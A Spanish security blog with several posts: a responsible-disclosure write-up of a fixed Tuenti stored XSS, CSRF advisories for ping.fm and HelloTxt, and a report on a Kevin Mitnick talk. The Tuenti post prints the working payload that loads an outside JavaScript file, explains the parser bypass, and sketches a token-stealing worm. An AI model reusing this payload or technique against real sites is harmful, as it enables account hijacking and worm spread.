Esto es una explicación sobre la anterior entrada.

El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).

El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:

Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:

1. El usuario escribe y envía.
2. El servidor recibe y guarda, haciendo ciertos cambios [1].
3. Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.

 

¿Qué es lo que falla en el proceso? El parseado. En un principio,  estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.

Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).

Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:

http://diazr.com/</script><script src=http    ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>

1. La URL podía ser cualquiera, con el único requisito de que terminara en /.
2. Era necesario colocar un </script> previamente antes de iniciar otro.
3. Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
4. Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
5. El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.

Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.

Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.

[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.

Nota: Pido disculpas por estas horas de caída del blog, todo ha sucedido por la reciente migración a otro proveedor del que ya hablé (y del que, por cierto, retiro toda crítica positiva). Así que me he vuelto a DreamHost (KJKSZPJ, el cupón de descuento anual, sigue activo) que, a pesar de ser más lento, lo aguanta todo :-)

No son pocos los escépticos con la seguridad y privacidad en las redes sociales. Yo, personalmente, estoy tanto en Facebook como en Tuenti (teniendo más actividad en este último). Para los que no la conozcan, o sólo les suene, la Wikipedia nos cuenta algo:

Tuenti es una red social virtual dirigida a la población joven española. Permite al usuario crear su propio perfil, subir fotos y vídeos y contactar con amigos. Tiene otras muchas posibilidades como crear eventos y etiquetar amigos en fotos. Se caracteriza también por su potente buscador.

Inaugurado en enero de 2006, Tuenti es uno de los sitios web más visitados en España, según Alexa Internet.

Por ejemplo, recientemente, se publicó una vulnerabilidad XSS de Facebook que permitía robar las cookies de cualquier usuario en unas determinadas circunstancias, haciendo insegura instantáneamente a la red social en cuestión. Otra, no tan reciente y más leve, permitía en Tuenti ver la lista de amigos de otro usuario, aunque éste no lo hubiera permitido previamente.

Toda aplicación web es suceptible a agujeros de seguridad. Es imposible que no existan. Aunque lo que no es imposible es trabajar lo máximo posible para reducir esos pequeños errores. Porque los agujeros de seguridad son sólo simples fallos de programación, y le pueden ocurrir desde al más primerizo al profesional que lleva toda una vida dedicada a la programación.

Esta vez vamos a centrarnos en Tuenti ya que es la red social que, con diferencia, más utilizo. Sergio y yo hace algún tiempo que miramos sitios donde encontrar vulnerabilidades para poder notificarlas y después publicarlas. Dependiendo de la gravedad, se publican en el mismo día, sin que se hayan arreglado (1, 2) o se espera un tiempo prudente para publicarlas. Y esta, en Tuenti, es una de las últimas que hemos descubierto.

Contacté ayer con Ícaro Moyano (director de comunicación de Tuenti) aprovechando que tengo contacto directo con él, para explicar la vulnerabilidad a los desarrolladores y de paso mostrar un PoC interesante. Le expliqué que se trataba de una vulnerabilidad extremedamente crítica. Por el momento, sigo a la espera.

Cierta combinación escrita en un tablón de cualquier usuario, podría conseguir que se inutilizara, y que ni él ni nadie pudiera leer ni responder comentarios. El riesgo empezaba a ser interesante aunque no comprometedor, pues lo máximo que podría ocurrir es que el usuario contactara con soporte, ellos lo detectaran y le pusieran arreglo.

Pero no, no es lo peor en realidad. Eso sólo significaría la punta del iceberg. Teniendo en cuenta que el XSS es aplicable en cualquier lugar (tu propio tablón, el de otra persona, comentarios en imágenes…), esto funcionaría como un verdadero gusano. Un gusano que se transmitiría de un usuario a otro a una velocidad vertiginosa, sin que se diera cuenta, haciendo que en pocas horas miles y miles de usuarios estuvieran bajo las manos de todo esto. Y montando un sistema automatizado detrás, hacerse con todas las cuentas rápidamente, dejando la privacidad de todos los usuarios al descubierto, al igual que sin sus preciados datos. Pero por ahora, no voy a dar más detalles, como es lógico.

Esto es tan sólo una muestra de fragilidad que una red social puede tener, que la privacidad nunca es “privada” y que en cualquier momento todo puede ser desmontado (en este caso, en una sola – pero larga – tarde se dio con ello). El tiempo de reacción en estos temas indica el nivel de importancia que se le da a los usuarios desde el equipo dirigente de la red social en sí.

A CSRF vulnerability was discovered in ping.fm. An attacker can change some user information without having its login credentials. In the right circumstances, this can be exploited to change the email of the user without needing confirmation from the real user.

Administrators has been notified. However, ping.fm is still vulnerable. Therefore it is recommended to all users to not open any suspicious URL while logged at the site. and a patch has been applied at 4/7/2009.

This vulnerability has been discovered by Sergio Cruz Ramírez (aka Omega) & Rubén Díaz Alonso (aka outime).

---

Una vulnerabilidad CSRF ha sido descubierta en ping.fm. Un atacante puede cambiar información del usuario sin tener sus credenciales. En las circunstancias adecuadas, puede ser utilizado para cambiar el email del usuario sin necesitar confirmación por parte del usuario real.

Los administradores han sido notificados. Sin embargo, ping.fm sigue siendo vulnerable. Mientras tanto se recomienda a todos los usuarios no abrir ninguna URL sospechosa mientras se está identificado en el sitio. y se ha aplicado un parche el 7/4/2009.

Esta vulnerabilidad ha sido descubierta por Sergio Cruz Ramírez (aka Omega) & Rubén Díaz Alonso (aka outime).

A CSRF vulnerability was discovered in HelloTxt. An attacker can change some user information without having its login credentials. In the right circumstances, this can be exploited to change the password of any user.

Administrators has been notified. However, HelloTxt is still vulnerable. Therefore it is recommended to all users to not open any suspicious URL while logged at the site. and a patch has been applied at 4/7/2009.

This vulnerability has been discovered by Sergio Cruz Ramírez (aka Omega) & Rubén Díaz Alonso (aka outime).

---

Una vulnerabilidad CSRF ha sido descubierta en HelloTxt. Un atacante puede cambiar información del usuario sin tener sus credenciales. En las circunstancias adecuadas, puede ser utilizado para cambiar la contraseña de cualquier usuario.

Los administradores han sido notificados. Sin embargo, HelloTxt sigue siendo vulnerable. Mientras tanto se recomienda a todos los usuarios no abrir ninguna URL sospechosa mientras se está identificado en el sitio. y se ha aplicado un parche el 7/4/2009.

Esta vulnerabilidad ha sido descubierta por Sergio Cruz Ramírez (aka Omega) & Rubén Díaz Alonso (aka outime).

Ayer, Alberto (un antiguo lector de mi antiguo blog y el presente, que ahora casualmente es compañero de instituto) me recordarba por el Tuenti que había hoy un evento sobre seguridad en el que hablaba el mismísimo Kevin Mitnick. Admiro a este hombre y tengo sus dos libros, así que no me lo pensé dos veces y fuímos con otra compañero más que se sumó.

Nos presentamos allí sobre las 10.30h, media hora antes del evento. El primer problema que nos encontramos es que se necesitaba invitación para entrar; algo esencial pero que con las prisas se nos había pasado. Afortunadamente no éramos los únicos y los organizadores no pusieron pegas en colarnos.

Empezaron con la presentación usual de cualquier evento, con una pequeña introducción sobre la seguridad informática, intentando concienciarnos del problema que existe entre el usuario y el monitor.

La ingeniería social es un tipo de ataque que se puede perpetuar con más facilidad que uno técnico, con poco o nulo riesgo para el atacante y OS independent. Digamos que el usuario es el eslabón débil en todo este proceso. Kevin mostró cómo hasta qué punto este abordaje puede llegar a ser el más peligroso de todos sin necesidad de tener amplios conocimientos de informática, tan “sólo” estudiando a la víctima. Todo esto lo podemos observar en cualquiera de sus dos libros.

Además, pudimos presenciar dos ejemplos prácticos muy interesantes. Por una parte, una pasarela telefónica que, una vez marcada, permitía mediante un sistema automatizado realizar llamadas con un remitente personalizado. Pidió al público un móvil, inició el proceso de la pasarela y al poco rato se podía observar en la pantalla del teléfono: “Llamada: 112″; ¡el remitente era el número de emergencias! Podemos hacernos una idea de lo que podríamos llegar a hacer haciéndonos pasar por el teléfono de alguien para obtener datos sensibles.

Por otra parte, se nos mostró un sistema automatizado que recibía llamadas (previamente la víctima tuvo conocimiento de este número por el phising que se le envió, pidiendo datos sobre su cuenta bancaria o PayPal) que iba requiriendo una serie de datos – como un número de tarjeta de crédito – que a la vez se iban mostrando en tiempo real en esta web:

Y aquí un par de fotos más del evento:

Lo más curioso de todo es que cogí un traductor para ir escuchando la charla en español, pero en realidad no lo utilicé y pude entenderla mientras hablaba en inglés. Los tres que asistimos nos quedamos impresionados al ver que le habíamos entendido, cuando nuestro nivel de inglés hablado es bastante reducido.

A pesar del nivel, que no era muy alto (los asistentes no daban para tanto), fue una buena acción para concienciar a esos empresarios y trabajadores que con tanta facilidad son engañados cada día.